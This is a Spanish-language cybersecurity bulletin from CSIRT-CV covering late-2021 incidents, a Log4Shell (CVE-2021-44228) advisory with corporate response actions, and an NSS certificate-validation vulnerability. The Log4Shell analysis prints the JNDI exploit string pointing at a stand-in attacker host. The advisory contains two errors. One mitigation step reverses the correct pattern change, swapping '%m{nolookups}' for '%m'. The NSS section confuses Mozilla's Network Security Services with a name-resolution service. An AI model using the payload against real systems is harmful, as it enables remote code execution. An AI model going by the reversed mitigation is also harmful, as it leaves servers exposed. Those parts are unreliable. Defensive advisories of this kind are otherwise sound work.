Boletín 04/12/2021 – 17/12/2021

Como cada quincena, ponemos a vuestra disposición un nuevo boletín sobre las principales noticias relacionadas con el mundo de la ciberseguridad.

Iniciamos hablando del mundo de las aplicaciones para dispositivos Android. Se ha detectado un troyano, Joker, que ha conseguido colarse en descargas desde Google Play. El malware ha sido encontrado en 15 aplicaciones, algunas de ellas con más de 100.000 descargas. Este troyano realiza fraudes SMS a través del envío de mensajes a números no gratuitos. Además, puede suscribir a los usuarios a sitios webs que ofrecen servicios de pago, realizando así también el fraude mediante suscripciones premium.

Con el objetivo de fortalecer la experiencia de privacidad, se ha incluido una nueva función de protección de contenido en Telegram, con la que los usuarios podrán evitar que otras personas puedan guardar o reenviar el material compartido en grupos o canales de la aplicación. De esta manera, la plataforma garantizará que el contenido compartido en estos grupos permanezca disponible solamente para las personas con las que fue compartido inicialmente.

También el sector automovilístico ha sido noticia por un ciberataque a Volvo Cars con robo de datos de diseño e información confidencial. El actor de amenazas, no identificado, logró acceder a sus sistemas de investigación y desarrollo después de atacar un conjunto de servidores. Por el momento, no hay indicio de que este incidente pueda tener impacto en la integridad de los automóviles y la información personal de sus clientes.

Por otro lado, queremos hacer hincapié en que nunca debemos recurrir a activaciones de licencias no oficiales, ya que en este caso, los usuarios que intentan activar Windows de manera pirata, se están encontrando con el malware CryptBot que trata de robar las credenciales de navegadores, carteras de criptomonedas, cookies, tarjetas de crédito y capturas de pantalla del sistema infectado. Para la infección, el usuario solo tiene que hacer un clic en unos de los enlaces maliciosos, descargar KMSPico y pinchar en el ejecutable. La instalación del KMS es solo una distracción mientras se instala el malware, alargando la espera de la activación para dar tiempo al malware a infectar el sistema.

En el entorno de las criptomonedas, la plataforma de trading AscendEX ha sufrido un ciberataque millonario. Los ciberdelincuentes se han podido hacer con wallets con un valor de 77 millones de dólares, repartidos de la siguiente manera:

      • Ethereum ($60 millones).
      • BinanceSmartChain ($9.2 millones).
      • Polygon ($8.5 millones).

Los usuarios que se hayan visto afectados por el ataque serán recompensados con la devolución de la criptomoneda sustraída. Además, se realizará una investigación con el resto de compañías y con las fuerzas de la ley.

Como podéis comprobar, los ciberataques siguen formando parte de nuestro día a día, por eso desde CSIRT-CV seguimos concienciando a nuestros adolescentes de la Comunidad Valenciana en cuanto a los riesgos que conlleva el uso de Internet. Las Jornadas de Concienciación en los centros de secundaria forman parte del Plan Valenciano de Capacitación, que estamos llevando a cabo con la intención de mejorar la concienciación en el uso de Internet tanto de los alumnos, como de las familias y docentes del centro. Estas jornadas son gratuitas y puedes ver más información desde nuestra web.

Destacamos las siguientes alertas y actualizaciones más relevantes de la quincena:

      • Actualizaciones de seguridad de Microsoft de diciembre de 2021: 67 fallos de seguridad, de los cuales 7 son críticos y el resto están catalogados como gravedad alta. Uno de los más críticos es una vulnerabilidad que suplanta la identidad del instalador de AppX afectando a Microsoft Windows. Los atacantes han estado aprovechando esta vulnerabilidad para instalar paquetes que incluyen algunas familias de malware como son Emotet, TrickBot o Bazaloader.

Actualidad sobre la vulnerabilidad en Java Apache Log4j 2 (CVE-2021-44228), también conocida como Log4Shell

Se envía la siguiente actualización para informar que se ha publicado un nuevo vector de ataque relacionado con denegación de servicio que no se corrige actualizando a la versión 2.15 tal y como indicamos en la anterior notificación. Para solventar todas las vulnerabilidades detectadas, se recomienda actualizar a la nueva versión liberada 2.16.

Alerta anterior actualizada:
El pasado viernes 10/12/2021, se publicó una vulnerabilidad que afecta a las versiones de Apache Log4 desde 2.0 hasta 2.14.1. Esta librería está presente en la casi totalidad de los desarrollos basados en Java, tanto comerciales como a medida.

Debido a la facilidad de explotación y amplio alcance de la librería, fue categorizada como CRÍTICA (CVSS 10), ya que una explotación exitosa permitiría la ejecución remota de código, comprometiendo por completo el equipo y su información.

En caso de detectar la explotación de esta vulnerabilidad puede o si necesita información adicional, puede contactarnos en csirtcv@gva.es

 

ACCIONES CORPORATIVAS REALIZADAS

    • Desde el viernes se están detectando numerosos intentos de explotación contra los sistemas corporativos, no teniendo constancia de que ninguno haya sido efectivo.
    • Desde el perímetro de la red se están monitorizando y analizando cada uno de estos intentos, gestionando con los responsables de los sistemas cada incidente particular.
    • Se están bloqueando automáticamente algunos intentos de explotación para el tráfico sin cifrar, previendo ampliarlo al tráfico cifrado en breve, tanto externa como internamente (actuaciones en curso).
    • Ya existía un filtrado de conexiones salientes para servidores que evita potencialmente la infección de los servidores.
    • Se están analizando los sistemas existentes en la red corporativa, tanto automáticamente como contra el inventario, para identificar sistemas vulnerables, y tomar las medidas particulares que procedan en cada caso.
    • Se han retirado las librerías vulnerables de los repositorios de desarrollo corporativos para congelar cualquier desarrollo en curso que utilice las librerías vulnerables.

 

ACCIONES A TOMAR POR LOS RESPONSABLES DE LOS SISTEMAS
IMPRESCINDIBLE: eliminar la vulnerabilidad

    • La vulnerabilidad se puede mitigar en la versión 2.10 y posteriores estableciendo la propiedad del sistema «log4j2.formatMsgNoLookups» en «true» o eliminando la clase JndiLookup del classpath.
    • Para versiones anteriores a 2.10.0, existen dos opciones:
      • Modificar el diseño de cada patrón de registro para cambiar %m{nolookups} por %m en los archivos de configuración de registro.
      • Sustituir una implementación vacía o no vulnerable de la clase apache.logging.log4j.core.lookup.JndiLookup, de manera que su cargador de clases use el reemplazo en lugar de la versión vulnerable de la clase.

Acciones compensatorias a nivel de red

    • Si no se utiliza la conexión a Internet corporativa o se dispone de cortafuegos o dispositivos con capacidad de bloqueo, se recomienda actualizar las firmas y activar las protecciones proporcionadas por el fabricante.
    • Para los servidores no administrados por el servicio de sistemas de la Generalitat, bloquear la salida a Internet, principalmente los que se encuentran en DMZ permitiendo solo listas blancas.
    • Revisar si se ha tenido un aumento de conexiones DNS desde el pasado fin de semana.
    • Escanear la red en busca de aplicaciones y servicios vulnerables. Las aplicaciones Nessus o Burp ya disponen de plugins específicos.

Acciones compensatorias a nivel de sistema operativo

    • Revisar localmente los servidores en busca de aplicaciones vulnerables siguiendo las indicaciones proporcionadas por el CCN-Cert para PowerShell, Linux, Go o búsquedas manuales:

https://www.ccn-cert.cni.es/seguridad-al-dia/alertas-ccn-cert/11435-ccn-cert-al-09-21-vulnerabilidad-en-apache-log4j-2.html

    • La herramienta Loki permite análisis locales con reglas YARA para comprobar si un servidor ya ha sido atacado utilizando esta vulnerabilidad: https://github.com/Neo23x0/Loki

 

+INFORMACIÓN

RCE en la librería log4j de Java

El día 9 de Diciembre, un exploit 0-day fue encontrado en la librería de Java «log4j» que permitía la ejecución de código remoto registrando una determinada cadena.

 

ANÁLISIS

CVE-2021-44228

La vulnerabilidad se dispara cuando los logs de un server contienen el siguiente payload $ {jndi:ldap://attacker.com/a} (donde attacker.com es un servidor controlado por el atacante). De esta forma, log4j realiza una petición al servidor mediante Java Naming and Directory Interface (JNDI) obteniendo como respuesta la ruta a un archivo de clase Java remoto. Este payload permitirá que un atacante ejecute código arbitrario [1].

Productos afectados:

2.0 <= Apache log4j <= 2.14.1

Actualmente la vulnerabilidad no tiene una puntuación CVSS v3 oficial. Sin embargo, debido a su gravedad, en muchas publicaciones ha sido considerada como crítica [2].
En la página de LunaSec [1] podemos encontrar un ejemplo de explotación de esta vulnerabilidad. Además, el proyecto marshalsec ofrece una herramienta para poder crear payloads, que podría ser utilizada en esta vulnerabilidad.

  •  

RECOMENDACIONES
Actualmente no existe una versión estable disponible. No obstante, hay dos parches candidatos publicados como log4j-2.15.0-rc1 y log4j-2.15.0-rc2 disponibles en el GitHub de Apache [3], los cuales se recomienda su instalación. Además, para versiones superiores a la 2.10.0 se añadió la propiedad «formatMsgNoLookups» cuya configuración a «true» puede mitigar la vulnerabilidad temporalmente [4].

 

REFERENCIAS
(1) https://www.lunasec.io/docs/blog/log4j-zero-day/
(2) https://logging.apache.org/log4j/2.x/security.html
(3) https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
(4) https://issues.apache.org/jira/browse/LOG4J2-2109

RCE en la validación de certificados del servicio NSS

Recientemente se encontró una vulnerabilidad RCE en la validación de certificados del servicio NSS.

NSS es un servicio que permite la resolución de nombres de usuario y claves mediante el acceso a diferentes bases de datos [1].

 

ANÁLISIS

NSS es vulnerable a un desbordamiento de pila cuando se manejan firmas DSA o RSA-PSS codificadas en la extensión .DER [2]. Esta vulnerabilidad permite a un atacante, haciéndose pasar por un servidor SSL / TLS, ejecutar código remoto en un cliente con NSS cuando se conecte por SSL / TLS. De manera inversa, un servidor con NSS que procesa certificados puede recibir uno malicioso a partir de un cliente. [3]

La vulnerabilidad no tiene una puntuación CVSS v3 oficial, pero diversas fuentes la puntúan en torno al 9 [2] [3], por lo que se puede considerar que reviste de cierta gravedad. NSS es una técnologia bastante extendida, el problema no se limita a TLS, todas las aplicaciones que utilizan la verificación de Certificados NSS codificados en CMS, S/MIME, PKCS #7 o PKCS # 12 (como Thunderbird, LibreOffice, Evolution ó Evince) o servidores NSS que procesen certificados son vulnerables. Es importante recalcar que esta vulnerabilidad no afecta a Mozilla Firefox debido a que usa mozilla::pkix para verificar los certificados.

  •  

RECOMENDACIONES
NSS ha resuelto esta vulnerabilidad en las actualizaciones NSS 3.68.1 y NSS 3.73 [4] por lo que es recomendable actualizar todas las aplicaciones que utilicen la tecnología NSS a estas versiones [2].

 

REFERENCIAS
(1) http://somebooks.es/12-2-que-es-nss/
(2) https://www.mozilla.org/en-US/security/advisories/mfsa2021-51/
(3) https://access.redhat.com/security/cve/CVE-2021-43527
(4) https://pkgs.org/download/nss-shlibsign